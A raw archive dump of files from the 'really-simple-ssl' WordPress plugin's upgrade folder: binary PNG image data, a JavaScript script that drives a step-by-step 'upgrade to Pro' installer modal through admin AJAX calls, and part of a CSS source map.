=���z��*�>��`������Qj�_�m'��C��>sm냣5�!hn}]KT|G6K�N.lbB�WO[��r���4�8,�9d���L޴��m��	d�0L���/f�S��u��K[�a�����a�D$Y:i�G?�0?�����8bv��d���*Ζ�{_���a����5Ӗ+�eڂ����]�&fL�X�x���Y���=���O^=}�����Y6&�+_��j�z_���.�ϥ�v��c�m����+��ͫ2V�8<���A���W&	a��~ƭ�����|�͉�/Wɕc��n�W�_��%��ؒ�U��-�Ap��do~���sWk�-&�a��Q��]��7�� ��gcz��-��z��vh�:]�N׸���Yܟ�MF�漯��j˴z�S�R���ȥ܏�W^��K����T�Uyr�5�4
xk�/��6�p��E��z��r]�ɫ�����1t�3�O�o��C/�/���\��d"�H��뛥h�+X<���+�]�y����-��{��ph���mx��H�����b2�L���^2a�ӥ�2���A�9�3��	��W�7)S�L�mP�bn9v�
sy��t
�c+Z��LG	��n��u���UV��م��Z�u�/�<~�c�p�EQ�c�2�/I�4��E����r/[Q������5[^H������w#��Z���.�6��u�����!K�{��"i�,陮�wSSvU'=�U��)��b7י؞�ݔ۝�諣_;=g��#P.	j�pNx���E�Wl���^�ʦ���9�1fu�z�E�Hy┮�&�Eo��%^��k���|��bgF����I��T'>�[%م��oCK���"�𑌱ߜ��f}w�@�0ZL��|���ϖ���6�����!����yt��G��l��eq�i�ͣ�a}IS��Eƚ��+���0s�Y"9.�^���v���zv��Y�P�M
�s�s̰�?�_[���J��B��Z�����7�t�u��:��<[�R�X6y�9�g
�����s��S�oO����+���wZ�=&u癶}	��ϐ���h3ل�6��->f��8Q���;��+c�]�-=|)�HQ���c����tl�
`0N]��[|���sxdž�:Ss������X�cӬ�����7�=���A��I'.z�O��hҢ���.��0�
p���O��U�>uUh�.o�4\�U�r�����De��	
��he��O��ſ��L,��92=�LW�t�]g����!�S�i�a+Rɜ0ִ\�Xt��g��jS�g�8>�Ve}�����`��N�O|gʹl���:&�P8�� _������͢��v5�1 ���7��~o�.�����`�����
U��R�ǰ2���q���_q~����u�b��qj�S+��y�>!,��'�������=�a��&Ν�X%�ų���w���'�0�q\AŅ�VN}��y'JN��m��~�2���	��Zm)[Q�:2>����v�`ݻ�ԍ�l�r�f�e��z��ŏ,ٳ����M{`����&��C����^#��_*�r��\u�a�H����6�����&֓of��Rm���VM���=����z�M�b�s�2��a~.9�V4i�D�3�8����9�8^�8u#%�o���u&�*�aDr?߆�5�m?��_���w�O_7�ɻq�/Ҏ+ ����Shܔ���f�\9�}H���J����a2�M�.�w��a�Z*ʕ��j�-Λ�vVvk����$7�"?�gsܤ{a��n�]=�V ���78n��<���ryL�&u�j[�!ec��u'YAp��_�6���+�J�|tS.�D�
�{��g+������qw�tj��?�Jg�����lÂI��L����
�
��U�t��2Z�e�
�"�0��
x& �0̧�r�F�Do~�3��"�"��{��Y�|����������6�����)���r���J�'�I�ي���Nr��_*��;~F��6?�ٌ!S]�r�3.mӬ�O�8�:f�y���o�L�N�pl^�mi��7n��w`��k�˶�p�2���?u\�s��d+u:���~#U%Wz6�W{
�0��>h0p]bJ�җF�iϼs������٤J��>bŔ���q��Y�V笿Z�5���V5�+�W^�\c����K�Yw�����+�>d��?-��HUĿ&���c�
�Z/l2�9n��7�-�gwmS��}��e�����\�ɨ/ז7�4�E�(Ud�&�g�S��d����4��*�;�k�P"��-V��ףbe�:aB�Ӣֿ(qK���v�edb�&<�33J�qCY$F��8�;4��xw���>���2�"��R�X}��v�]����pxc]3��X�5��:�v���|VV��c����ʆ��6���1Q�c������m�z����2Q̨v�$
Z;퓻:��]g�g�?���C��q��[���;��#c�Y3�������)�MK������mTycK��
s+�yu���~���N}��	��vW�^���o������t��7��s�M��,zba��	�.v���}��G�{L��N];���"��(���c}��?*3V�^7$"ɣ,��Ӝu��u�u�}�n�	�S=z��[�a�6�?���t�
N]V\uyҪiN/�i2�b�&��{ *36|`���TE�%2���-�[y`5�:��ឆ�)�^��&p��kf���O�m;�߉�L��v�MsWX�'S8~��%�L��I|��F���L	����y�˗]N�g�������w4�4y�B/n�9Z|l�G?�i�ǿyZTU<m��m{�˙ɪ���=5l��N�э��B�3-�\8��~
^N)���w������ʧVf]�}�Y�\��7��	Q��X�ki;&��𥟶��0L�� )��3v��x���[�p׿�t�>i�P*R�i�)j��b��O\���{8!bP�HηCk~�1}F);������-���<+��|EḌ1.�o�\W���WXc�����d�o?�C*���O
�>[mv۫[�~��%w�s����X$��ޔ�����D&���3�b�T�]?_Qx��񜋇n���K������j��z���7��
�<&X��T��xv�'V���6H(��/ysǻ<�\��=&u��W�N����Z���+'v�ۛ]p���8�C����̴��c��~8SRsu�E�~9�q�>ԑ� X�	�K�&��`n�k��;ڷlf���b3ۄ�(H쫉�TrU�*�����}�(���(u���A�ި�74p?���D$�P���[���u^N��[8��`���i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��ݞAX��tEXtSoftwareAdobe ImageReadyq�e<tEXtEXIF:Orientation1�X��IEND�B`�really-simple-ssl/upgrade/img/really-simple-ssl.png000064400000027727147510273070016436 0ustar00�PNG


IHDR\r�ftEXtSoftwareAdobe ImageReadyq�e<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CD75A970794811ED8D98FD16B4672A13" xmpMM:InstanceID="xmp.iid:CD75A96F794811ED8D98FD16B4672A13" xmp:CreatorTool="Adobe Photoshop 24.0 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2ACCE1794C9D11ED9F66AB0DC2ACA0DA" stRef:documentID="xmp.did:2ACCE17A4C9D11ED9F66AB0DC2ACA0DA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>?�O,EIDATx��}�Uu��9��{�\r�<$�CBHP�" �  ���D[��,*��h@�J1�~��j���P�֊���<�_!P!<�3�I��}�Gמ{�dΜ=3�yf�3k�~�I.�sf�^��z���AAA)��m{ ��pV�/W�K�|��2���zc�
�\��\�`Gɜ�fp=�	@Zn��!�V����h�T)���G3k���ƪc��4��\S�g
p�
�h;L��|~�I���@��8a�38�HHȭ����z���0����s�`+�2��#�cz
:ܼ���pCQ��v��p6���[��0_��V�k�N_�%s����_�&�<ӭF�p����~>΀�,p��7:V-ۜ������ŋ̝8�HH⠧�p\���0G���c�V�;��rim�R�2��M'}x����A��8\_�k6���dl�]�O�*�7��;�����������q>\
�n�gK	<��{�� te���+�^@@(4�w���M�?)�9��Z�M�H���X�."X��P(�ǟ��u��Ÿ�j�V�׫3�����

�_lA@�y�/���pU

|JE:�M��U��W�G �@/��.\���&�ƪ�N����*��w�_?$�@/��cMWwע��"R.�h��r�뷁jHH.�f��FN�_�b�\���{��_?
$�"������+:�#�c�J��U*47�	��I �A@p	���
�*щE�_@�&�$����BH����\޻�?����"��<hn�J	lD@�����/�Z���+�C�x�S��C�#>���τ��������2�s/�\���>G	��ӂ�_�5'~c~jIi]�KR�բ�8�;a���!�
�C��7$���f�m��}�2)�J΍ul�d2\���/D-D����j��v���.������,cW��nB@��t��m,�Ӳ�j��ժri�	���:ۛ�$p��{P+��~���r�iy���;J���Ťd�3�׭0/�P;�L�"u;�ڟ���;�j��1�B�X���6�R$S��\G����I��O�N�I�
�4�	��|
����x�.��}�S���J��$@�{��H�����q1��5j�w��Ɯ��,��������.�g���j-�.���t�=v�o3��5�	S�p���,[ ĺ
��0�^$U����٩��u��G���m��-�_���0�7	�	@E��u<�P�߅�:h�o�<��{ۨM�lii�U��H�֟�+_���6/�����(Yt��W/>��	@��������#�g��Ynt�b�7�<��c(� *�����_�9վ�#���_����x����tB��
A:�?m��4a$�\l�5a�
�����'�zb�Z-	���_�k��{��>��n:����㻂3�1<r�m�i�FRzC�j9��ßp,�a\�ȁr)I�Ӎ>.���t��s���f���vx;�,��G��ܫ�Ƃc�j�9d$I�iB�TTo�Ҭ?M�=JCa��9<2b�Dz�&��V���g�0�Uc�,��k_������^�*))	P/!AN/�6�����z�X�#�۸��
\�@?:sႮL�m�yh�Z�zu�F=���9~F`�@�����ڒ�����y?�`)���T��I?��ϲq��Ϟ~���H����V��
�����C@J��K)�)	$��܀�1
j���ΪU�~
��W��]��@��c�:�6,�Z�|������������-�zS�r��GK~mq�i1��6*ӭ�>px������C,�t.���L);yݎz���`�-����g[�O�}�s�r����=KF��RTy�B�O���5�a��5��0&_�_�R���'p?��\�X]�@��)B�C�#,��U��K�o�6U��w�͋�9��iT}$*�~X���fk
�%��]T �Q����U�ʇ2����2�P`i��~���?������<��4�r�t2x�jDO���V{�>@��,�k9[�%��H�\:�R)����oλ�St(l������O7�����f���[�U��.��,
%\bLZ�5��,��a�9�~
���(�ٽ8���8;ڠ��r]�8C�b�i����0�8�̅���/:�_V*�Uqo/g��	��r*�=��\?�5���A/����rys��/��P �	���6.(��C(��\.��E��bG!K�c��9YP�e��3���*�G,!�D}@�]��A^K�7���4�t?��{� ��
 �rL�]ֿZ�9�%\k������L	>a����ea$����q(K1r���k��xͮ<+������nꢵ������{40	�r0����-��y���o'ŕ�õ��q�;��>>nj��E(�tLtnɿF���?�(cp����\���)�Pi���>ʤЦ��xAך(����s�F�1b@(��lS��������r��\*Id��%ߍ�@(��߈�€��i��û����@Ad������|�� ��J��������vE�a�	�M�v���l��%�~+z���<����@o˔�.8��_P���m����Q�X"p
@A�V��1�&O��[B4��Pȯ�&� �w��G>���`�20zEx�KCل��Y�$�ޖ	��	�ɭ$:�Wz\��w����{� $�~�Fq�
�2��DF�"
	%�x�!�P�(.�Q�Q�^@���� �:@!$��S�l�J���x��fP��.��Yt��s^pPE�#%�y)�U*�r�ѠP�0�#�r��K����V�`zXh�\�)LC��B	���<V�h�rp�7�h4	����D�!�p�sM!4�����X���	L���AT���G(b�޿A���bm�f:VkT���7�	�����c���/��"  `��7Ԑ
G,$�V��	�x�C��	��j�C�'�Q$T*�zE��2
@�$��.1z�-���x���
>N�k_��
�^�L|3�����{�&r��?
N	f��O����N�L�<}�v�i�{�
�*�juf�^�n�W.��O��&���w�XLN��^�r?Q��k�=��A�{�fVI�Pүm��Gj��n�J]����R	&��R���J��Ӓ	���ޫ���x�����m�"\�+�y�9����f�τ�o����7[7~�/iPP�
@}�x}}B�>���*�ݔ�h�C��\�G�{6FFډ�>c�B���ݓ>+}���/K��Y�<ø����t4qm7�G�N!��e@�!H��}��3��A'?��/�߭�}�H�`$�D����>Gi|4?s�N���I�#B�T�	����������?������=��i�o��PI��C�=9���3�񾗌��,�lY���1vD�-<#�=���0C|��'��}X~�LG�y�N
׿͘�,���D�j�t�����G!���ʡ����d��"��h��� �^�����'g�u(�b�)�j�	�Nڤ�J�)I�rF�(��E���we�m��)�gI
傹���'�E$>� �b��(�z%Np
���x��n�P"U�<dC�'�I	.���F�
d�P`#���T��2���?%�$"�+-$�$���J,j�V�,�/����n�$*�oJ�� ����F`Fb�OY�²�I)�:ј4u"I�
Xi�{�;���l�/j���A�����cd]�F��ŮD�%tpE2�i$"(�̶h��e9Eǒޏ8���I�R�V��e��9�&u��f)0u�D��

~	�TL�8�;�-�T�/:�tͿR�*�bL��*�େ�=�Tm�����B6vdYV�{�d�e��vo����Rk��$�D��Pp��D�O'Cq�+�`!(dKQYi�8�#��U� !��>�@ŜԊ����%nޜ��W(Xb���U
帿-���z����ɹe�%�-\½��Q���O
�T�WS�F�\��� p�_�9p-�RY�bd���Ќ̶L֙<�"�"��S�V� ձ�*���
���n�B��Iݥ��+�J��ʑd�D�~4�ř��
~�oy��IVZֳp8��hP�p�k�q��]��
�D2�'�L��"��z/"ī`z��@CU���_�z�K5��1����2_�<��i �ĥ?��z��~h4<�$ʮc,a'�I$e�ecO�H%�8�Y�y
�qV%[�֍���&�z]�Z�Z~U�1�\�B&Z�s�/��|lf��i�+ߘ�t��˰�R��uШ�՟IG�K�LX�m��z;R4G���J�y���>���k_z��9(e�� ��,�br�{�K��
)�Up)�Li����������W!1]}����(�HMJ!ZE7�ULc�hF�j�+�7~�(���e��Q%�أ���,$/ځWK<�M�;vJ�:�xHW���{�-Kv��c�W��W-!�%?7���0�~�$���]��Z�
�О
xx�u,�q>�+o��߮�@�Y?L�l'���%r��~r��Id�i}��z6���v��%��;|LnYͮ�Ds�UW��~����&�~�M1"}k[�\s��'��N�{ݶ�>o�	���O��:T"U/��]��k�֧���m��!�.(k �
s�ZgiZ��x�&��w�8R��0��G�d��� W�x=�6,F��|��Kf�/����3�G�Z1�#s/�4�<���w?g�zz3���J8�
B#�_8c�U篣*1E�|q��?�qr�_?�m�ur�?�'�O�4��}Q��[X+O���5�%�z�E!}�bFZ<�am�cA�;D��(�E���<������_x�<�n���=�����':C���JӐ$�?m>��>�e�.[-������b[z�q�a���frʲ�d�}s��*y��k�$��%-ߦ�G���	��߽���Oҵ���-fi�R��zi�����6�\��1�%g�Z	4tm!�{�<���ժ���^�QW�
RC%��䒖�6��t�Fr�_<i��$�+����w>-�1�����Ys1�Rq?K1M�(b�_��X�\�<�.��	��#8&��?���S�R��3#�;�"Z�TW�'���J��S�y岳0@P��a��	@E���?iɯ���H=��Jg|�I�k�9
f�&o^���$��m+i�I�Q0��\�Sl��u6����
]����H�.F�Jm߲:#t�9L���D�"��I̸_GcԔ�7
����?��J���
i�/<����A��]&���P���YK~�	�h�p�}{�+�m�˯{���5��+�;«,�<!�বp�H�?��YJF�O�/Z�.?����������%����
c��� f�e�xt��M͸��G��+ݬ�K5O��Xq��c���׮'��K֪Ǫ��⛋�(E�p{��;M-K�JV��f&aѬ��2�� �����_����l�p�z�R�5�=8�mý`��%�V� W6a�'�P%K��T1EA�X�S>�3�S��$-�����J��m�{��@�t�%VY\�;M��^�zd�ҙ�E�G��\GiE�"�c�d�տx�]y�U]�����������o-�eYU7�h8�+�Hl>3]W?wų�7��ro�^O��R՛�]���]���)���;TFY7�)ơP�eI
����E(�̵Z�|�g���rκ���D�J
&b��
W��i���$����&�otV��ԺK0V����p�XpP���1�o�#?�gqQ�Kl�O�Jf�DZ��j]��.G��% ��#�6�k9���H�/��ir���o�k���†*�:�m�
n+V ~��6��\�~�?G�X"�Z�D�w��Y=�4����G����^�I����op�Uq<�b��&CaD�_k�"��:�3��ۇ��̥��x3qYN;j��+�|���,�w��O��y����hү���'�%�vRo��h��*9s�c΃��GN��N�*+G�[~M�,��y
Pt���K���I�0�h��1����FW
tc���m�d��\���OK��0�S�z��䷿��<��y�`p���*ǃ���`_@�N����9�6�:�]R�I��E�Do}ۃ�u��J�xhc�G�%�c݅|x���v�\��]K�ܱ��Mc����ݸ��-�V'��1u|z!=�o�4-���s�50��ȅ����㮨�R�[�\_���d��"�4�{��<���ɟ_��.��%3�s'�sE�ɴ���Q,f �Z����a
���O\��,��cR@ze������)K��l�BF�m�hO���#���@�-�M���,�e��;+#�X��T�i_�𿺱JN��#�S�����-������f�32/�>B����������'_��ʫhiז��ǡ�~g	@�Gc]�����[Ur���'�j���o�����	�س�I ���"����֐u�w��O~�����~���i�!Kq�][�s�4��ȖVMy
����@D����%�0����?y�g��Q��_D�����Hi���r�[�aٯc#����M
�T'	�q??}�o���W-�ݾ�B��0I�_��h�pח�x�j�c
-t.ь��ѮXP-$Ќ�{fY��W����;�����+d���Pu$�,��KJ�5��u�O��c]u��H��S��l����z�g/�B���t��z|z��Je�~b��*�yGCM��e��;˒���R�
�?r�r�3I�7`�Cal�U�M<�	 �P��c
-t�_����S[sQ�JG�<��5Ar/ȹ���.;�
~M²�J�]�H�)p�m��xd;��_����@��zd+9�k��m���w?���^�,W]aab8��Yb������+��5��I����`W�����?��y�\u�2_˭o@�iH����w��-����$p�o���1��Դ���?��|�ױ�@�`�	�y"�׿I,��jg'\	�����k���/��r�����=H�J?����<	W������-V�~z�F�d�Z2Vm��/�����O�ݽ/��UG��+g�{�A����?$�U��W��J/x�l�^�����Ξ�]]

�l�`�����b۲�:����GKg]��[{#�Ge��'�}`Zw=��Zk��k��:[���ݻW�����"瞺{w�4R��e{���������j�#����tr��f�sO���԰a�%���Q��������� �'���9r�Es�9'N�~���Z���n��G����Q���Dh7��h:iw?�X��}��Dak��Y����)��R쟒S�m�2����	��=�K����f�6�#vj0�ɶ����t�T�'	�!��t�.�V�_u��C'L3ҭ�����߶��P�p�	 -�W��3�
�G��"bu���y��SvΟ.��<<���G��t)ѡ6�v@Zܯj�9��9�ȂC��!�}r�_LN?v�N�Xim��ki���)�^Ȉ���ֽcn���ѫ�7\~9��)m�NO�[t���.v
��R�~E�u�[z��I�|�XR�rꍗ�!#��ylzx�'�>�<�5���}�bs��Q�D\ֽYn�e��CI��r�A�w�֑%����t��cq��P.�e�(�8J�C�w�D�W<�Kl�;���#�
������ޜ�= ������#P��8
���%?�th(�B�Cer�Us��)>�ں5���h���C���E�#	����+�C��Q ���'\š��!����q�� k�����R$�d�1���3'0W[�X��}s��a�_ԓ�$�˸�ˉ2�F�=����+獃��u�r��8��*B�����FP������WB1��犹d֞�;��X�M-`��W'��=yt����B���a����O����H-9@�����	~��#��oCc��"���A2E#�����T�I����o�%�L�K��t5j��W�kK(��.7Zl��!�Ϭ$�lE�H�3��i}��4�u5t���-(!6XC`{� �	@�zdU�i��E%���?���j^;�	1sHK�g��Ÿ��L�$��@9���?1��T��
,���r'�Ƽ.mm�
����eD��M%���~��QH���+�g���߸7���O0U�/�B�B����$�H�]�;M�\�"^-m�
���ϐp�;�� j=\�n���%8����w�vƘ��i<�͘��5�Х؟�W�x���8��&�_]�~�������t,���ո����D'G��W�L�q��$@��e����X�?U���)�
�ox�)��$��_�W�x���DtF9N;j�T��8�֟�8�%.��Z�?S�"� +�j���r�T��j�	��!G���_�|v2��ވ�㾑B"S�{<Ǭ���/3��7n(��q���`��j��$p���=1��Z�$oN��_��?)�w֮}@��))K��/�D�~�j'Y�M�,[Kg/�BV}}V:��btE˚x�*�F����=�om@���bAt4�d�"��(���p&)e���$^ՒߴD��}���T� G����J>���
nc�e��>v�T.�'շ7L���y�Y���Y�W� M���;�ؕHI��+�A�+�CHO<l2���g�ߐ�O�O%�FsD:O!���&�fZe-Hh�T�F�$�ԡ
�e�;�^��>��6��g�r��{V�^%��r�5YS5�.[�@0�bA��ES�gɬ�'�;�{hWI ���ebIPQ`ɆGYǾ�x�~�h��'�KY�Z%�g�L!�����rx��~�+LC{?\��n�Ț��rjh9�y�	�JZ�+�$eW�����Ǿ��#��=lx�4v��h��N(*t�+Ǎ<gp��+��vM������?���<��,h�7�t���q����X6d���U�E�b͚1�f{�=�p�Tr��sR�{��IX���?U�:(�~�I�h��F���E�lߵr.��׀�=��r�7摉}bϗ�J+9��Mm'?�thh�{�����E�o��Qْ�&1������3/�ç���t �8)2�WuiUĭ�w�Ys96,:vH�O'�UUF9U[Ns;��>�{���+�O�~��K�;)%G��_2~�(
���Ж�"h Qѥ4�q�$A 2K~<�?*�
���{�E�����OZu���<�8��ex*yZ��V�n���j���6�_�@t�<JK3�7��r򻇄�/
.�֟��V]����_�CP����,d&���Dm�����_\>�,��;?�E�-�|U�VyHR��N"R?�SĿ��W=@D�@K}u>��>���|;���ӹ����B��K���ORʓ�w�|�.��'��yv}q�����ݹw��"�>cF:����i�M��d����:E�3�ÇP�[�ǭ� �����\������,=�L���h�	~�rݔ���,W�ڴ��w(�o-0�fP�"B��ԷCa9��(����܂�{B�_gS���hY��ɲ���v��T�����z�Hl�)�d����D
`��V3< ��Թ��У�<G	���ge�E-�F/�=f�x�������"I\�Ђ��U�ӯ`N��&�-%�e��&�,d��zv���ؤV8�"دQ�������0�CwZ�7�]�K�J.�4���/Sk ��L{7�/�:"[���$�rh4JHZ̧`�k����ߧw_�l�_{h��]{X�!�pݿ���u�Cgg �kA������tɴ.����nќ��ؤm������D̮�� ǖ��.�q�YwU�]�w#z�qo֚ԑX�>y."h��
�)�~���Z��΢�$�63�/Q����e���P<�K~�]��_�g#�_��K�;ԯ	@��1�R
E1V��DcRS�,Z�K��*��� �6ʞծ{ɯ��PAT�5�Uƽ�Ut�5k��xw$��?��8Ͼs�W�L�D��y
M�E�B�лAq�d�ٰ�D��^k��r�e���D���S�&U���d�3!a��}F�+����"92��HR4+���^�����ɲ��]�|�� �W?�"�+0��ۯ�<>�Zɾ�Z��F�Y׽L�pD��Ы�;��KE��
(���L�Pݓ݅���%MMa�u֟�-k%ah� ��V���n���:�U����C�B!�Z|�L��� V?�p�26w}��"^wn�c�+#%�v�X������R�	���7!�=��q	L�7�BVB�M�G�$e�A���zQ�c�`O@k	�xA��2^�#b�ez¿g��?�%X����������˚���!�cm��M��w+\1��gy���w��@���� P$V-�_@�(R���h������w)�h#��oO�9\�o��?�����8W 6»=��
�Z�����9�gM�w5��'�=�.ԂߩT��|���["ϼ����w߀�n�yw�Ÿ�s��m`��;x�]���6��8%((�$$$$�b�uˀ�����1�S�҃��."0e	�Gź5nPP0��������������������������������������������ظ�#pUpjPzP��@�5EAA�����6;IEND�B`�really-simple-ssl/upgrade/upgrade-to-pro.js000064400000007771147510273070014776 0ustar00const rsp_steps = rsp_upgrade.steps;
let rsp_download_link = '';
let rsp_progress = 0;

//set up steps html
let rsp_template = document.getElementById('rsp-step-template').innerHTML;
let rsp_total_step_html = '';
rsp_steps.forEach( (step, i) =>	{
	let stepHtml = rsp_template;
	stepHtml = stepHtml.replace('{doing}', step.doing);
	stepHtml = stepHtml.replace('{step}', 'rsp-step-'+i);
	rsp_total_step_html += stepHtml;
});
document.querySelector('.rsp-install-steps').innerHTML = rsp_total_step_html;

const rsp_set_progress = () => {
	if ( rsp_progress>=100 ) rsp_progress=100;
	let progress_bar_container = document.querySelector(".rsp-progress-bar-container");
	let progressEl = progress_bar_container.querySelector(".rsp-progress");
	let bar = progressEl.querySelector(".rsp-bar");
	bar.style = "width: " + rsp_progress + "%;";

	if ( rsp_progress == 100 ) {
		clearInterval(window.rsp_interval);
	}
}

const rsp_stop_progress = () => {
	clearInterval(window.rsp_interval);
	let progress_bar_container = document.querySelector(".rsp-progress-bar-container");

	let progressEl = progress_bar_container.querySelector(".rsp-progress");
	var bar = progressEl.querySelector(".rsp-bar");
	bar.style = "width: 100%;";
	bar.classList.remove('rsp-green');
	bar.classList.add('rsp-red');
	clearInterval(window.rsp_interval);
}


const rsp_process_step = (current_step) => {
	let previous_progress = current_step * Math.ceil(100/(rsp_upgrade.steps.length));
	let progress_step = (current_step+1) * Math.ceil(100/(rsp_upgrade.steps.length));

	clearInterval(window.rsp_interval);
	window.rsp_interval = setInterval(function () {
		let inc = 0.5;
		//very slow if we're close to the target progress for this step.
		if ( ( rsp_progress > progress_step-1 ) ) {
			inc = 0.01;
		}

		rsp_progress += inc;
		if (rsp_progress >= 100) {
			rsp_progress = 100;
		}
		rsp_set_progress();
	}, 100);

	current_step = parseInt(current_step);
	let step = rsp_steps[current_step];
	let error = step['error'];
	let success = step['success'];

	// Get arguments from url
	const query_string = window.location.search;
	const urlParams = new URLSearchParams(query_string);

	let data = {
		'action': step['action'],
		'token': rsp_upgrade.token,
		'plugin': urlParams.get('plugin'),
		'license': urlParams.get('license'),
		'item_id': urlParams.get('item_id'),
		'api_url': urlParams.get('api_url'),
		'download_link': rsp_download_link,
		'install_pro': true,
	};

	rsp_ajax.get(rsp_upgrade.admin_url, data, function(response) {
		let step_element = document.querySelector(".rsp-step-"+current_step);
		if ( !step_element ) return;

		let step_color = step_element.querySelector(".rsp-step-color");
		let step_text = step_element.querySelector(".rsp-step-text");
		let data = JSON.parse(response);

		if ( data.success ) {
			if ( data.download_link ){
				rsp_download_link = data.download_link;
			}
			step_color.innerHTML = "<div class='rsp-green rsp-bullet'></div>";
			step_text.innerHTML = "<span>"+step.success+"</span>";

			if ( current_step + 1 == rsp_steps.length ) {
				let templateHtml = document.getElementById('rsp-plugin-suggestion-template').innerHTML;
				document.querySelector('.rsp-install-steps').innerHTML = templateHtml;
				document.querySelector('.rsp-install-plugin-modal h3').innerText = rsp_upgrade.finished_title;
				document.querySelector(".rsp-btn.rsp-visit-dashboard").classList.remove("rsp-hidden");
				rsp_progress = 100;
				rsp_set_progress();
			} else {
				rsp_progress = progress_step;
				rsp_set_progress(progress_step);
				rsp_process_step( current_step+1 );
			}
		} else {
			step_color.innerHTML = "<div class='rsp-red rsp-bullet'></div>";
			if ( data.message ) {
				document.querySelector(".rsp-error-message.rsp-"+step['type']+" span").innerText = data.message;
			}
			step_text.innerHTML = "<span>"+step.error+"</span>";
			rsp_stop_progress();
			document.querySelector(".rsp-btn.rsp-cancel").classList.remove("rsp-hidden");
			document.querySelector(".rsp-error-message.rsp-"+step['type']).classList.remove("rsp-hidden");
		}
	});
}
rsp_process_step(0);really-simple-ssl/upgrade/upgrade-to-pro.css.map000064400000005050147510273070015712 0ustar00{"version":3,"sources":["/Users/rlankhorst/Sites/localhost/reallysimplessl/wp-content/plugins/really-simple-ssl/assets/css/variables.less","upgrade-to-pro.less"],"names":[],"mappings":";AA2DA;EAEE,qBAAA;EACA,oBAAA;EACA,oBAAA;EACA,oBAAA;EACA,sBAAA;EACA,uBAAA;EAGA,sBAAA;EACA,qBAAA;EACA,qBAAA;EACA,qBAAA;EACA,sBAAA;EAGA,mBAAmB,qBAAnB;EACA,gBAAgB,oBAAhB;EAGA,yBAAA;EACA,wBAAwB,uBAAxB;EACA,2FAAA;EACA,2BAAA;EAGA,iBAAA;EACA,iBAAA;EACA,qBAAA;EACA,mBAAA;EACA,wBAAA;EACA,oBAAA;EACA,kBAAA;EACA,mBAAA;EACA,qBAAA;EAEA,2CAAA;EACA,yCAAA;EACA,8CAAA;EACA,yCAAA;EACA,uCAAA;EACA,yCAAA;EACA,2CAAA;EAEA,8BAA8B,gBAA9B;EACA,+BAAA;EAGA,qCAAA;EACA,wBAAwB,qBAAxB;EACA,iCAAA;EAEA,uCAAA;EACA,iDAAA;EACA,gDAAA;EACA,6CAAA;EAEA,uBAAA;EACA,uBAAA;EACA,uBAAA;EACA,uBAAA;EACA,uBAAA;EAGA,qBAAqB,gBAArB;EACA,mBAAmB,cAAnB;EACA,qBAAqB,iBAArB;EACA,kBAAkB,iBAAlB;EAGA,uBAAA;EACA,sBAAA;EACA,uBAAA;EACA,sBAAA;EACA,kBAAA;EACA,sBAAA;EACA,qBAAA;EACA,oBAAA;EACA,oBAAA;EAGA,qBAAqB,gBAArB;EACA,uBAAuB,iBAAvB;EACA,2BAA2B,sBAA3B;;AC7IF;AAAoB;EAClB,aAAA;;AAEF;EACE,oBAAA;;AAEF;EACE,aAAA;EACA,SAAA;EACA,kBAAA;EACA,yBAAA;;AAJF,sBAKE;EACD,iBAAA;;AAND,sBAQE;EACD,iBAAA;EACA,eAAA;;AAVD,sBAYE,UAAU;EACX,WAAA;EACA,eAAA;;AAdD,sBAgBE;EACD,WAAA;EACA,eAAA;EACA,iBAAA;EACA,YAAA;;AApBD,sBAsBE;EACD,mBAAA;EACA,uBAAA;EACA,aAAA;;AAzBD,sBAsBE,oBAID;EACE,eAAA;;AA3BH,sBA8BE,aAAa;EACd,WAAA;EACA,YAAA;EACA,eAAA;;AAGD;EAEE,eAAA;EACA,WAAA;EACA,YAAA;EACA,MAAA;EACA,OAAA;EACA,QAAA;EACA,SAAA;EACA,oCAAA;EACA,aAAA;;AAVF,iCAYE;EAEE,YAAY,kBAAZ;EACA,eAAA;EACA,SAAA;EACA,QAAA;EACA,eAAe,iBAAiB,gBAAhC;EACA,WAAW,iBAAiB,gBAA5B;EACA,kBAAA;EACA,mBAAA;EACH,gBAAA;EACG,aAAA;EACA,uBAAA;EACA,mBAAA;;AAzBJ,iCAYE,0BAcD;EACE,eAAA;EACA,kBAAA;;AA5BH,iCAYE,0BAkBE;EACE,kBAAA;;AA/BN,iCAYE,0BAkBE,4BAGE;EACE,gBAAA;EACA,YAAA;EACA,kBAAA;EACA,WAAA;;AArCR,iCAYE,0BAkBE,4BAGE,cAME;EACE,YAAA;;AAxCV,iCAYE,0BAiCE;EACE,aAAA;EACA,sBAAA;EACA,kBAAA;;AAhDN,iCAYE,0BAiCE,mBAKE;EACE,aAAA;EACA,+BAAA;EACA,wBAAA;EACA,mBAAA;;AAtDR,iCAYE,0BA8CD;EACE,aAAA;EACA,SAAA;EACA,mBAAA;;AA7DH,iCAYE,0BA8CD,YAIE;EACD,cAAA;EACA,iBAAA;;AAhEF,iCAYE,0BA8CD,YAIE,mBAGD;EACE,cAAA;;AAlEJ,iCAYE,0BA8CD,YAWE;EACD,kBAAA;EACA,SAAA;;AAEA,iCA7DA,0BA8CD,YAWE,SAIA;EACC,yBAAA;EACA,WAAA;EACA,eAAA;EACA,yBAAA;;AAEA,iCAnEF,0BA8CD,YAWE,SAIA,WAME;EACF,yBAAA;EACA,yBAAA;;AAID,iCAzEA,0BA8CD,YAWE,SAgBA;EACC,yBAAA;EACA,YAAA;EACA,yBAAA;;AAEA,iCA9EF,0BA8CD,YAWE,SAgBA,QAKE;EACF,yBAAA;EACA,yBAAA;;AA5FH,iCAYE,0BAsFE;EACE,YAAA;EACA,WAAA;EACA,kBAAA;EACA,kBAAA;EACA,qBAAA;;AAvGN,iCAYE,0BA8FE;EACE,yBAAA;;AA3GN,iCAYE,0BAkGE;EACE,yBAAA;;AA/